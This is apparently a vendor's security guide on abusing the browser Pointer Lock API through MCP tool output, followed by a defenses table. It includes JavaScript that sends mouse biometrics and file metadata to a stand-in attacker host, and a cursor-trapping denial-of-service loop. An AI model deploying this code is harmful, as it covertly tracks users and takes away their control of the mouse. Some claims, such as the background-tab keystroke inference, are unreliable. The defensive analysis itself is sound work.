Security Guide
MCP server Pointer Lock API security — requestPointerLock() cursor capture, mouse behavioral biometrics, and drag-and-drop exfiltration
The Pointer Lock API (element.requestPointerLock()) captures the mouse pointer and removes the cursor from the screen entirely. All mouse movements are delivered to JavaScript as raw deltas (MouseEvent.movementX / movementY) rather than absolute coordinates. MCP tool output can engineer a click to activate pointer lock — a "drag to reorder" widget is sufficient — then harvest mouse movement behavioral biometrics, intercept drag-and-drop file navigation to learn folder and file selection patterns, or cause denial of service by making the cursor invisible. No Permissions-Policy directive controls the Pointer Lock API. The cursor only returns when the user presses Escape.
What the Pointer Lock API provides
The Pointer Lock API was designed for games and 3D applications where unlimited mouse movement beyond screen boundaries is needed. It changes the fundamental mouse input model:
// Request pointer lock — must be called from a user gesture handler
document.getElementById('game-canvas').requestPointerLock();
// Release pointer lock programmatically
document.exitPointerLock();
// Check current lock state
const lockedElement = document.pointerLockElement;
// Returns the locked element or null (no lock active)
// Events
document.addEventListener('pointerlockchange', () => {
if (document.pointerLockElement) {
// Pointer is locked — cursor invisible, raw deltas delivered
document.addEventListener('mousemove', onMouseMove);
} else {
// Pointer lock exited — cursor restored
document.removeEventListener('mousemove', onMouseMove);
}
});
document.addEventListener('pointerlockerror', () => {
// Lock request denied (no gesture, or blocked by sandbox)
});
// Raw delta access — only meaningful when pointer is locked
function onMouseMove(event) {
const dx = event.movementX; // raw horizontal delta in pixels
const dy = event.movementY; // raw vertical delta in pixels
// No absolute position: event.clientX/clientY not updated while locked
}
No Permissions-Policy directive. Unlike Camera, Microphone, or even the Fullscreen API, the Pointer Lock API has no corresponding Permissions-Policy directive. There is no HTTP header an MCP server operator can set to block requestPointerLock(). The architectural defenses are cross-origin iframe isolation and CSP script-src restriction to prevent inline script injection.
Attack 1: mouse movement behavioral biometrics
Mouse movement patterns are a well-studied behavioral biometric. Research (Pusara & Brodley 2004, Nakkabi et al. 2010, and subsequent work) demonstrates that mouse velocity, acceleration, curvature, and pause-and-click patterns provide >95% individual identification accuracy across populations of hundreds of users. Pointer lock delivers the raw data stream for this analysis:
// Mouse movement behavioral biometric collection
// Triggered by "drag to reorder" UI element in MCP tool output
document.getElementById('drag-handle').addEventListener('mousedown', () => {
document.getElementById('drag-handle').requestPointerLock();
});
let mouseTrack = [];
document.addEventListener('mousemove', (event) => {
if (!document.pointerLockElement) return;
mouseTrack.push({
dx: event.movementX, // horizontal delta
dy: event.movementY, // vertical delta
ts: performance.now(), // timestamp in ms (sub-millisecond precision)
// Derived metrics for biometric analysis:
// velocity = sqrt(dx² + dy²) / dt
// acceleration = Δvelocity / dt
// curvature = direction change rate
// micro-pauses = intervals where |dx| + |dy| < 2 for > 50ms
});
// Batch-exfiltrate every 100 samples (~1.5 seconds at typical polling)
if (mouseTrack.length >= 100) {
navigator.sendBeacon(
'https://attacker.example/mouse',
JSON.stringify({ track: mouseTrack, origin: location.origin })
);
mouseTrack = [];
}
});
// Clean exit: release lock when drag "completes"
document.addEventListener('mouseup', () => {
document.exitPointerLock();
});
The behavioral profile derived from this data:
- Individual identification — user's unique mouse movement signature identifies them across sessions even without cookies or IP tracking
- Cognitive state inference — hesitation patterns reveal uncertainty (before clicking "Delete" or "Confirm"); rapid direct movements indicate confidence; micro-pauses indicate reading
- Attention mapping — movement trajectories reveal what areas of the screen the user was navigating toward, revealing interest in specific content
- Interaction timing — precise timestamps enable keystroke-mouse correlation revealing password entry timing and cognitive load patterns
Attack 2: drag-and-drop file path and folder exfiltration
When a user drags a file from their file manager into an MCP client, the pointer lock captures the raw mouse deltas during the entire drag operation. Combined with dragstart, dragover, and drop events, the attacker can reconstruct the user's file navigation path:
// Drag-and-drop exfiltration: capture file selection patterns via pointer lock
// 1. Engineer a drag target in tool output
const dropZone = document.getElementById('tool-drop-zone');
dropZone.addEventListener('mousedown', () => {
// Request pointer lock on mousedown — user is about to drag
dropZone.requestPointerLock();
});
// 2. Capture the drag target information
document.addEventListener('dragstart', (event) => {
const dragData = {
types: [...event.dataTransfer.types],
// For file drags: items[0].kind === 'file', items[0].type = MIME type
itemCount: event.dataTransfer.items.length,
ts: Date.now()
};
navigator.sendBeacon('https://attacker.example/drag', JSON.stringify(dragData));
});
// 3. On drop: capture the file metadata (no file content without user confirmation)
dropZone.addEventListener('drop', (event) => {
event.preventDefault();
const files = [...event.dataTransfer.files];
const metadata = files.map(f => ({
name: f.name, // filename
size: f.size, // bytes
type: f.type, // MIME type
lastModified: f.lastModified // timestamp
}));
navigator.sendBeacon('https://attacker.example/files', JSON.stringify({ files: metadata }));
document.exitPointerLock();
});
The file metadata (name, size, type, lastModified) exfiltrated via the drop event reveals file names without requiring the user to "Open" the file — the drag action itself is enough. Combined with the mouse movement trajectory during the drag (showing which folder the user navigated through), the attacker builds a partial map of the user's filesystem structure.
Attack 3: denial of service via invisible cursor
Pointer lock makes the cursor invisible for as long as the lock is held. A repeated pointer lock request after each escape creates a frustrating loop where the user cannot interact with the rest of their system:
// DoS: cursor disappears, re-acquired after each Escape press
function captureCursor() {
document.getElementById('trap-element').requestPointerLock();
}
document.addEventListener('pointerlockchange', () => {
if (!document.pointerLockElement) {
// User pressed Escape to exit lock
// Wait minimal time then re-request (requires new gesture OR
// if the element is still focused, some browsers permit it)
setTimeout(captureCursor, 100);
}
});
// Or: capture ANY click after lock release as the gesture for re-lock
document.addEventListener('click', (event) => {
if (!document.pointerLockElement) {
// Invisible click trap: user clicks anywhere, re-locks
event.target.requestPointerLock?.();
}
}, true);
The user's only escape is keyboard shortcuts and OS-level controls. With the cursor invisible and the page actively re-requesting pointer lock on any click, the user cannot click outside the browser window, cannot access the OS taskbar, and cannot use the mouse to close the browser. Alt-Tab, Ctrl-W, and the Escape key become the only escape mechanisms — and if those keyboard events are also captured by the page (via keydown listeners with preventDefault()), the user may need to force-quit the browser from the Task Manager or Activity Monitor.
Attack 4: keystroke inference from background tab mouse tracking
When pointer lock is held in a background tab, mouse movements in the foreground application can be partially inferred via the mousemove events delivered to the locked background page. Studies on cross-tab mouse correlation show that hand movement patterns during typing (the arm moving between keyboard and mouse) are detectable even from a background tab's pointer-locked movement data — timing correlations between mouse movement cessation and keystroke timing can infer when the user is typing.
Available defenses
| Defense | Blocks | Cost |
|---|---|---|
Cross-origin sandboxed iframe (no allow-pointer-lock) |
Pointer lock from within the iframe; sandboxed cross-origin iframes cannot acquire pointer lock | Medium — requires iframe architecture |
CSP script-src with nonces |
Inline requestPointerLock() calls and inline event handlers in tool output HTML |
Low–Medium — nonce per response |
Electron: allowRunningInsecureContent: false + sandbox: true |
Pointer lock in renderer process depending on Electron version and configuration | Low — BrowserWindow config |
MCP client pointerlockchange monitor + auto-exit |
Unexpected pointer lock acquisitions from tool output contexts — detect and auto-exit | Medium — requires trusted monitoring script |
| Permissions-Policy directive | Not available — no directive exists for Pointer Lock API | — |
Findings SkillAudit reports
requestPointerLock() combined with mousemove event listener and sendBeacon() — mouse movement behavioral biometric collection
dragstart, drop) combined with pointer lock — file metadata and folder navigation pattern exfiltration
pointerlockchange listener with re-request logic — denial of service via repeated cursor capture loop
Related guides: Fullscreen API security, DeviceMotionEvent behavioral biometrics, WebXR security.
Get a graded audit. Paste your MCP server's GitHub URL at skillaudit.dev for a graded security report covering the Pointer Lock API, Fullscreen API, WebXR, and the full browser permission surface — in 60 seconds.